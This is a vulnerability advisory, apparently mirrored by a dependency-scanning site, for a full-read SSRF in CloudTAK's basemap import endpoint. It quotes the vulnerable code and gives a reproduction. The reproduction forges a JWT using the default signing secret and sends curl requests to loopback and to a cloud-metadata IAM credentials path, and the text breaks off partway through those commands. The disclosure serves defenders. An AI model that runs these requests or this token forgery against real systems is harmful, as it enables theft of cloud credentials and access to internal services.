npm · @tak-ps/cloudtak
TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard
PUT /api/basemap (the basemap import endpoint) fetches an attacker-supplied URL server-side with no SSRF protection whatsoever. Any authenticated user can submit a JSON body { "type": "...", "url": "<attacker url>" }; the server calls fetch(url) against that URL and then reflects the response body (name, attribution, tiles[0], zoom levels) back to the caller in the OptionalTileJSON response.
Because there is no IP-address classification, internal-only services are reachable: cloud metadata (http://169.254.169.254/...), loopback (http://127.0.0.1/...), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a full-read SSRF (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.
The only URL check in the basemap protocol layer (BasemapProtocol.isValidURL, api/lib/interface-basemap.ts) validates the scheme is http/https only and performs no host/IP filtering — and the import path does not even call it; it goes straight from new URL(rawURL) to fetch(url).
Three independent bypass classes were confirmed end-to-end against a real deployed build:
http://2130706433/ = 127.0.0.1).fetch uses the default redirect: 'follow', so even a public initial host that 302-redirects to an internal address is followed with no re-validation.api/routes/basemap.ts — importBasemapURL() and the PUT /basemap handler (line numbers at commit 90d43bdd2fb7d9bd57cbce28c709d9e5207a475a):
// api/routes/basemap.ts
async function importBasemapURL(
config: Config,
rawURL: string,
auth?: Static<typeof BasemapImportAuth>,
): Promise<Static<typeof OptionalTileJSON>> {
const imported: Static<typeof OptionalTileJSON> = { type: Basemap_Type.RASTER };
let url: URL;
try {
url = new URL(rawURL); // (1) only well-formedness is checked
} catch (err) {
throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL');
}
if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }
const tjres = await fetch(url); // (2) SSRF sink — no host/IP guard, default redirect:follow
if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL');
const tjbody = await tjres.json() as Record<string, any>;
if (tjbody.name) imported.name = tjbody.name; // (3) internal response reflected to caller
if (tjbody.attribution) imported.attribution = tjbody.attribution;
if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) {
imported.url = tjbody.tiles[0]...;
}
return imported;
}
The handler at api/routes/basemap.ts L139–L233 mounts this as PUT /api/basemap and gates it only with Auth.is_auth(config, req) (L157), i.e. any authenticated user with application/json body { type, url } reaches importBasemapURL((req.body).url, (req.body).auth).
BasemapProtocol.isValidURL at api/lib/interface-basemap.ts L136 — the only "validation" in the protocol layer — checks the scheme only and performs no IP filtering:
PUT /api/basemap with Content-Type: application/json and body { "type": "...", "url": "<attacker url>" }.api/routes/basemap.ts L155–L233 calls Auth.is_auth(config, req) (L157, any authenticated user passes) then importBasemapURL(config, (req.body).url, (req.body).auth) (L233).importBasemapURL (L68) does new URL(rawURL) (L79) and, for non-ESRI URLs, reaches const tjres = await fetch(url) (L99) — the SSRF sink. No host/IP classification occurs anywhere on this path; fetch uses the default redirect: 'follow'.name / attribution / tiles[0] are copied into the response object (L106–L117) and returned to the attacker — closing the read loop.Server-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>) and exfiltrate temporary IAM credentials.Because the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.
End-to-end reproduction against a real deployed CloudTAK API server (not a unit harness). An internal-only sentinel HTTP service is bound to 127.0.0.1:9000 (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.
64bc1886ff56b62f53d765d69ac90ff9fc23b54b):git clone https://github.com/dfpc-coe/CloudTAK.git
cd CloudTAK && git checkout v13.5.0
cd api && npm ci
# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)
coe-wildland-fire, migrations auto-apply, a default server row is auto-generated):cd api
StackName=test \
SigningSecret=coe-wildland-fire \
POSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \
API_URL='http://localhost:5001' \
npx tsx index.ts --noevents --nosinks --nogeofence
# => "ok - http://localhost:5001"
internal_sentinel.js) — simulates an internal HTTP service / metadata endpoint, bound to loopback only:const http = require('http');
const fs = require('fs');
const srv = http.createServer((req, res) => {
fs.appendFileSync('/tmp/ssrf_sentinel_hits.log',
`[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\n`);
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({
name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c',
attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e',
tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'],
minzoom: 0, maxzoom: 19
}));
});
srv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)'));
node internal_sentinel.js &
# A redirector for the redirect-follow variant, also loopback-only:
node -e "require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')" &
SigningSecret) and issue the three requests:TOK=$(node -e "console.log(require('jsonwebtoken').sign({email:'attacker@evil.test',access:'user'},'coe-wildland-fire'))")
# (a) loopback / metadata-style path
curl -s -X PUT http://localhost:5001/api/basemap \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"type":"raster","url":"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/"}'
# (b) decimal-IP encoding of 127.0.0.1
curl -s -X PUT http://localhost:5001/api/basemap \
-H "Authorization: Bearer $T
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.